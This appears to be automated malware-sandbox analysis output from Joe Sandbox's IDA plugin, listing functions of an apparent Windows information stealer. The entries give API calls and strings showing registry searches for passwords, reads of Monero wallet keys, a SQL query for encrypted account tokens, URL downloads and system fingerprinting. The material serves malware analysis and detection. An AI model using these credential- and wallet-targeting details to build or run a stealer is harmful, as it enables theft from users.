Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 3edaf5c577c4bb981ff70525176ef43990fe7080d8a98169c3703e73043f24b9
Instruction ID: c64c195bf2d31a3ca69efab9f3054c81313256121d624793b34ccffb9bbc57d3
Opcode Fuzzy Hash: 3edaf5c577c4bb981ff70525176ef43990fe7080d8a98169c3703e73043f24b9
Instruction Fuzzy Hash: D941A0B5D44248ABDB10DF94DC45BEEBBB8FF18710F100098F509A7280DB78AA84CBA5

Function 00A072D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00A0733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00A073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00A0740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00A07452
HeapFree.KERNEL32(00000000), ref: 00A07459
task.LIBCPMTD ref: 00A07555

Strings

Password, xrefs: 00A07401

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 9a8233e21f9750310b44b694ff1f0f5b4ac4dc5ca3d0b086a1c326d2086469af
Instruction ID: fef6fb0f3f68175ab677f56f448d93bf2dee10f0f10788765b855a54400efe39
Opcode Fuzzy Hash: 9a8233e21f9750310b44b694ff1f0f5b4ac4dc5ca3d0b086a1c326d2086469af
Instruction Fuzzy Hash: 676118B5D0416C9BDB24DB50ED51BDEB7B8BF48300F0081E9E689A6181DB746BC9CFA1

Function 00A0BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

lstrlen.KERNEL32(00000000), ref: 00A0BC9F

Part of subcall function 00A18E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00A18E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00A0BCCD
lstrlen.KERNEL32(00000000), ref: 00A0BDA5
lstrlen.KERNEL32(00000000), ref: 00A0BDB9

Strings

AccountId, xrefs: 00A0BCC4
AccountTokens, xrefs: 00A0BABA
AccountTokens, xrefs: 00A0BB49
SELECT service, encrypted_token FROM token_service, xrefs: 00A0BBEB

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 5ec201c20bb12fa842e836ce867f006b42d0386098a8942628e0f05a78d446dd
Instruction ID: 21606d6ddad9917006391a4d7594ead647f9168e5c0afb48dd732412c52d990d
Opcode Fuzzy Hash: 5ec201c20bb12fa842e836ce867f006b42d0386098a8942628e0f05a78d446dd
Instruction Fuzzy Hash: BFB17576911108ABDB04FBA0DF96EEE733DBF64310F404568F506A6091EF346E89CB62

Function 00A04FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00A04FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00A04FD1
InternetOpenA.WININET(00A20DDF,00000000,00000000,00000000,00000000), ref: 00A04FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00A05011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00A05041
InternetCloseHandle.WININET(?), ref: 00A050B9
InternetCloseHandle.WININET(?), ref: 00A050C6

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 38657bb79c972c80cda2b0c3e8e11c336da500101f14ff0a21f9cd8c6fd62f07
Instruction ID: fe66077359a55426cc009016fdc513d8931cc734b7400c7a47c99f46dce33573
Opcode Fuzzy Hash: 38657bb79c972c80cda2b0c3e8e11c336da500101f14ff0a21f9cd8c6fd62f07
Instruction Fuzzy Hash: 3E31C4B4A40218ABDB20CF54DD85BDDB7B4FB48704F5081D9EA09A7281D7706AC58F99

Function 00A18100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,010BE308,00000000,?,00A20E2C,00000000,?,00000000), ref: 00A18130
RtlAllocateHeap.NTDLL(00000000), ref: 00A18137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00A18158
wsprintfA.USER32 ref: 00A181AC

Strings

@, xrefs: 00A1814D
%d MB, xrefs: 00A181A3

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: fd826239bd124745eac2b80c037330f8692ef343f42f014908ba2d3653a52f7b
Instruction ID: a17ac6e14c6389665df5e54cda9020fc6cc1190e02559c0c1ad808dedf03d042
Opcode Fuzzy Hash: fd826239bd124745eac2b80c037330f8692ef343f42f014908ba2d3653a52f7b
Instruction Fuzzy Hash: 7E2117B1E44218BBDB00DFD4CD4AFAEB7B8FB48B10F104619F605BB280D77869018BA5

Function 00A183DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00A18426
wsprintfA.USER32 ref: 00A18459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00A1847B
RegCloseKey.ADVAPI32(00000000), ref: 00A1848C
RegCloseKey.ADVAPI32(00000000), ref: 00A18499

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

RegQueryValueExA.KERNEL32(00000000,010BE2A8,00000000,000F003F,?,00000400), ref: 00A184EC
lstrlen.KERNEL32(?), ref: 00A18501
RegQueryValueExA.KERNEL32(00000000,010BE1A0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00A20B34), ref: 00A18599
RegCloseKey.KERNEL32(00000000), ref: 00A18608
RegCloseKey.ADVAPI32(00000000), ref: 00A1861A

Strings

%s\%s, xrefs: 00A1844D

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 9ec64225e05c325a93129407fb7e4f750f95e86ea6a9e42a609605fe40d76b6e
Instruction ID: 77ceff93e42fd71da7d80be4a324c5e26ab6613859723150f41bc24e3d0b3525
Opcode Fuzzy Hash: 9ec64225e05c325a93129407fb7e4f750f95e86ea6a9e42a609605fe40d76b6e
Instruction Fuzzy Hash: AA210775950228AFDB24DB54DC85FE9B7B8FB48700F00C598E609A6180DF756A85CFD4

Function 00A17690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A176A4
RtlAllocateHeap.NTDLL(00000000), ref: 00A176AB
RegOpenKeyExA.KERNEL32(80000002,010ABE88,00000000,00020119,00000000), ref: 00A176DD
RegQueryValueExA.KERNEL32(00000000,010BE3B0,00000000,00000000,?,000000FF), ref: 00A176FE
RegCloseKey.ADVAPI32(00000000), ref: 00A17708

Strings

Windows 11, xrefs: 00A176BD

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 0e37b73232ecd49315e79f2cd25c58c5a4357cb6ce81fe64f76336754c6a8d0d
Instruction ID: e39fd1c8ef8c273a830b98cc690db0999b4cdc231598f41fd5404c59b77992d1
Opcode Fuzzy Hash: 0e37b73232ecd49315e79f2cd25c58c5a4357cb6ce81fe64f76336754c6a8d0d
Instruction Fuzzy Hash: 6B014BB9A84208BBEB00DBE4ED49FAEB7BCFB49701F104454FA05D72D1E67499408B51

Function 00A17720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A17734
RtlAllocateHeap.NTDLL(00000000), ref: 00A1773B
RegOpenKeyExA.KERNEL32(80000002,010ABE88,00000000,00020119,00A176B9), ref: 00A1775B
RegQueryValueExA.KERNEL32(00A176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00A1777A
RegCloseKey.ADVAPI32(00A176B9), ref: 00A17784

Strings

CurrentBuildNumber, xrefs: 00A17771

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
